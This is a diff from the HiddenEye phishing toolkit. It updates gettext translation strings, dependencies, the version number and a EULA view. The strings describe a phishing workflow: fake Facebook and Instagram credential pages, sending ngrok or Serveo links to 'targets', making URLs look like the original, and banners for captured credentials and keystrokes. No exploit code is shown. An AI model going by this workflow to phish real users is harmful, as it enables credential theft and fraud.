"community for all of you, we are always happy to have your help."
msgstr ""
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
"community for all of you, we are always happy to have your help."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:62
msgid ""
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
"page: (here_will_be_link_soon)"
msgstr ""
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
"page: (here_will_be_link_soon)"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:63
msgid ""
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
msgstr ""
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:67
msgid ""
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
"From Target ... \n"
"{2}"
"________________________________________________________________________________\n"
msgstr ""
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
"From Target ... \n"
"{2}"
"________________________________________________________________________________\n"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:68
msgid ""
"\n"
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
msgstr ""
"\n"
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:69
msgid ""
"\n"
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
msgstr ""
"\n"
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:70
msgid ""
"\n"
" {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n"
msgstr ""
"\n"
" {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:54
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:74
msgid ""
" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
msgstr ""
" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:55
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:75
msgid "{0}Do you accept {1}license{0}?"
msgstr "{0}Do you accept {1}license{0}?"
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:76
msgid "{0}Enter: {1}{text_to_confirm}{0} to confirm."
msgstr "{0}Enter: {1}{text_to_confirm}{0} to confirm."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:77
msgid "{0}You are {1}not allowed {0}to use this app without accepting license."
msgstr ""
"{0}You are {1}not allowed {0}to use this app without accepting license."
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:78
msgid ""
"\n"
" GNU GENERAL PUBLIC LICENSE\n"

View File

@ -5,7 +5,7 @@
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"POT-Creation-Date: 2020-05-11 14:09+0300\n"
"POT-Creation-Date: 2020-06-09 02:44+0300\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
@ -82,7 +82,7 @@ msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:49
msgid "{0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode)"
msgid "{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
msgstr ""
#:
@ -108,7 +108,7 @@ msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:55
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phising (To Lure The Users)"
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
msgstr ""
#:
@ -211,12 +211,190 @@ msgid ""
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:14
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:14
msgid ""
"{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:15
msgid ""
"\n"
" {0}[{1}*{0}]{0}Select Any Available Server:{1}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:24
msgid ""
"\n"
"{0}[ LOCALHOST SERVER ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:25
msgid "Your Localhost is "
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:26
msgid ""
"\n"
"[*] Starting Server On Address:: {0}:{1}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:27
msgid ""
"\n"
"{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:28
msgid ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:29
msgid ""
"\n"
"{0}[{1}*{0}]{1} Localhost URL: {2}http://"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:33
msgid ""
"\n"
"{0}[ NGROK SERVER ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:34
msgid ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:35
msgid ""
"\n"
"{0}[{1}*{0}]{1} NGROK URL: {2}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:39
msgid ""
"\n"
"{0}[ RANDOM SERVEO URL ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:40
msgid ""
"\n"
"{0}[ CUSTOM SERVEO URL ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:41
msgid ""
"\n"
"{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:42
msgid ""
"\n"
"{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:43
msgid ""
"\n"
"{0}Insert a custom subdomain for serveo"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:44
msgid ""
"\n"
"{0}[{1}*{0}]{1} SERVEO URL: {2}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:45
msgid ""
"\n"
"{0}FAILED TO GET THIS DOMAIN."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:46
msgid ""
"\n"
"{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:47
msgid ""
"\n"
"{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:48
msgid ""
"\n"
"{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:49
msgid ""
"\n"
"{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:50
msgid ""
"\n"
"{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:54
msgid "{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:58
msgid ""
"\n"
"{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n"
"-------------------------------"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:16
msgid "Yes, i do"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:15
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:18
msgid ""
"\n"
" # To Accept EULA set eula to True\n"
@ -226,7 +404,59 @@ msgid ""
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:22
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:25
msgid ""
"\n"
" {0}[{1}*{0}] PHP has been found. Proceeding."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:26
msgid ""
"\n"
" {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:30
msgid "{0}Permissions granted!"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:31
msgid "{0}Permissions denied! Please run as {1}sudo{0}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:32
msgid ""
"\n"
"{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:36
msgid ""
"\n"
" {0}[{1}*{0}] INTERNET - {1}[CONNECTED]"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:37
msgid ""
"\n"
" {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:38
msgid ""
"\n"
"{0}[{1}!{0}] Network error. Please verify your internet connection."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:42
msgid ""
"\n"
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
@ -234,7 +464,7 @@ msgid ""
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:30
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:50
msgid ""
"\n"
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
@ -242,21 +472,21 @@ msgid ""
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:31
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:51
msgid ""
"\n"
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:32
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:52
msgid ""
"\n"
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:36
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
msgid ""
"\n"
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
@ -265,92 +495,92 @@ msgid ""
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:37
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
msgid "{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:38
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
msgid "{0}[{1}!{0}] If any phishing page got broken, please let us know."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:39
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:59
msgid "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:40
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:60
msgid ""
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n"
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:41
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:61
msgid "{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:42
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:62
msgid "{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:43
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:63
msgid "{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:47
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:67
msgid ""
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n"
"{2}________________________________________________________________________________\n"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:48
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:68
msgid ""
"\n"
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:49
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:69
msgid ""
"\n"
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:50
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:70
msgid ""
"\n"
" {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:54
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:74
msgid " {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:55
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:75
msgid "{0}Do you accept {1}license{0}?"
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:76
msgid "{0}Enter: {1}{text_to_confirm}{0} to confirm."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:77
msgid "{0}You are {1}not allowed {0}to use this app without accepting license."
msgstr ""
#:
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:78
msgid ""
"\n"
" GNU GENERAL PUBLIC LICENSE\n"
@ -1028,4 +1258,3 @@ msgid ""
"Public License instead of this License. But first, please read\n"
"<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
msgstr ""

View File

@ -1,4 +1,8 @@
certifi==2020.6.20
chardet==3.0.4
future==0.18.2
idna==2.10
pyngrok==4.1.9
PyYAML==5.3.1
requests==2.23.0
pyngrok==3.1.1
urllib3==1.25.10

View File

@ -1 +1 @@
0.5.4
1.0.0

25
views/EULA_view.py Normal file
View File

@ -0,0 +1,25 @@
from gettext import gettext as _
class EULAView:
def __init__(self):
self.EULA_messages = {
"eula_found": _("EULA is found"),
"eula_is_confirmed": _("You accepted EULA"),
"eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"),
"eula_not_found": _("EULA isn't found\n Generated new EULA"),
"eula_is_invalid": _("EULA is not valid"),
"eula_start_of_file_unconfirmed": _("# Please read and accept EULA below\n eula = False"),
"eula_start_of_file_confirmed": _("# Please read and accept EULA below\n eula = True"),
"eula_was_just_accepted": _("You accepted EULA, you can enjoy your HiddenEye experience"),
"eula_was_just_rejected": _("You rejected EULA, you are not allowed to use HiddenEye"),
"eula_power_and_responsibility_message": _("Great Power Comes With Great Responsibility"),
"eula_do_you_accept": _("Do you accept EULA?"),
"eula_enter_to_continue": _('Enter: "I accept EULA" to continue'),
"eula_input_prompt": _("HiddenEye EULA>> "),
"eula_full_disclaimer": _('''
The use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.
Developers assume NO liability and are NOT responsible for any damage caused by this program.
Also we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this
software to test device, company or any other type of target without WRITTEN PERMISSION from them.''')
}